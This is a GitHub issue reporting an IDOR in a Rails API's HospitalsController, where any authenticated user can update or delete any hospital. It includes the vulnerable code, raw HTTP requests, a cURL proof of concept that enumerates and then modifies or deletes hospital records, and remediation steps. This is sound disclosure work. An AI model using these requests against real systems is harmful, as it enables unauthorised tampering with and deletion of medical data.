Skip to content

Create tickets from this output #340

@edimossilva

Description

@edimossilva

CRITICAL: HospitalsController - IDOR in Update/Destroy Actions

Severity: CRITICAL

Vulnerability Type

Insecure Direct Object Reference (IDOR) - Horizontal Privilege Escalation


Summary

The HospitalsController allows any authenticated user to update or delete any hospital in the system by providing an arbitrary hospital ID. The controller fetches the hospital using an unscoped Find operation and the policy only checks if the user is authenticated, not if they have ownership.


Affected Endpoints

Method Endpoint Action Vulnerability
PATCH/PUT /api/v1/hospitals/:id update Any user can modify any hospital
DELETE /api/v1/hospitals/:id destroy Any user can delete any hospital

Vulnerable Code

app/controllers/api/v1/hospitals_controller.rb

# Lines 26-35: Update action
def update
  authorize(hospital)  # Policy only checks user.present?
  result = Hospitals::Update.result(id: hospital.id.to_s, attributes: hospital_params)

  if result.success?
    render json: result.hospital, status: :ok
  else
    render json: result.hospital.errors, status: :unprocessable_entity
  end
end

# Lines 37-46: Destroy action
def destroy
  authorize(hospital)  # Policy only checks user.present?
  result = Hospitals::Destroy.result(id: hospital.id.to_s)

  if result.success?
    deleted_successfully_render(result.hospital)
  else
    render json: result.error, status: :unprocessable_entity
  end
end

# Lines 50-52: Unscoped hospital finder
def hospital
  @hospital ||= Hospitals::Find.result(id: params[:id]).hospital
end

Attack Vector

HTTP Request - Update Hospital

PATCH /api/v1/hospitals/1 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
Content-Type: application/json

{
  "name": "Attacker Controlled Name",
  "address": "Attacker Controlled Address"
}

HTTP Request - Delete Hospital

DELETE /api/v1/hospitals/1 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...

cURL Proof of Concept

# Get authentication token (assumes you have valid credentials)
TOKEN="your_valid_api_token"

# List all hospitals to enumerate IDs
curl -X GET "http://localhost:3000/api/v1/hospitals" \
  -H "Authorization: Bearer $TOKEN"

# Exploit: Update hospital with ID 1 (may belong to another user or system)
curl -X PATCH "http://localhost:3000/api/v1/hospitals/1" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"COMPROMISED","address":"Attacker Address"}'

# Exploit: Delete hospital with ID 1
curl -X DELETE "http://localhost:3000/api/v1/hospitals/1" \
  -H "Authorization: Bearer $TOKEN"

Root Cause Analysis

1. Unscoped Database Query

The hospital method uses Hospitals::Find.result(id: params[:id]) which internally calls:

# app/operations/hospitals/find.rb
def call
  self.hospital = Hospital.find(id)  # Fetches ANY hospital, no user filtering
end

2. Weak Authorization Policy

# app/policies/hospital_policy.rb
def update?
  user.present?  # Only checks authentication, not authorization
end

def destroy?
  user.present?  # Only checks authentication, not authorization
end

3. Hospital Model Has No User Association

# app/models/hospital.rb
class Hospital < ApplicationRecord
  acts_as_paranoid
  has_many :event_procedures, dependent: :destroy
  # NOTE: No belongs_to :user - hospitals are global resources
end

Secure Pattern Comparison

Current Vulnerable Pattern

def hospital
  @hospital ||= Hospitals::Find.result(id: params[:id]).hospital
end

Secure Pattern Used in MedicalShiftRecurrencesController

# app/controllers/api/v1/medical_shift_recurrences_controller.rb:54-59
def set_recurrence
  @recurrence = current_user.medical_shift_recurrences
    .where(deleted_at: nil)
    .find(params[:id])  # Scoped to current user
rescue ActiveRecord::RecordNotFound
  render json: { error: "Recurrence not found" }, status: :not_found
end

Remediation

If Hospitals Should Be User-Scoped

# app/controllers/api/v1/hospitals_controller.rb
private

def hospital
  @hospital ||= current_user.hospitals.find(params[:id])
rescue ActiveRecord::RecordNotFound
  render json: { error: "Hospital not found" }, status: :not_found
end

If Hospitals Are Global But Should Have Restricted Access

# app/policies/hospital_policy.rb
def update?
  user.admin?
end

def destroy?
  user.admin? && !record.event_procedures.exists?
end

Impact on Dependent Resources

When a hospital is modified or deleted, it affects:

  1. EventProcedures - Hospital has_many :event_procedures

    • All event procedures referencing the hospital will have modified/deleted hospital data
    • With acts_as_paranoid, soft deletion sets deleted_at but records remain
  2. Data Integrity

    • Medical records may reference incorrect hospital information
    • Audit trails may become inconsistent

Related Vulnerabilities

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions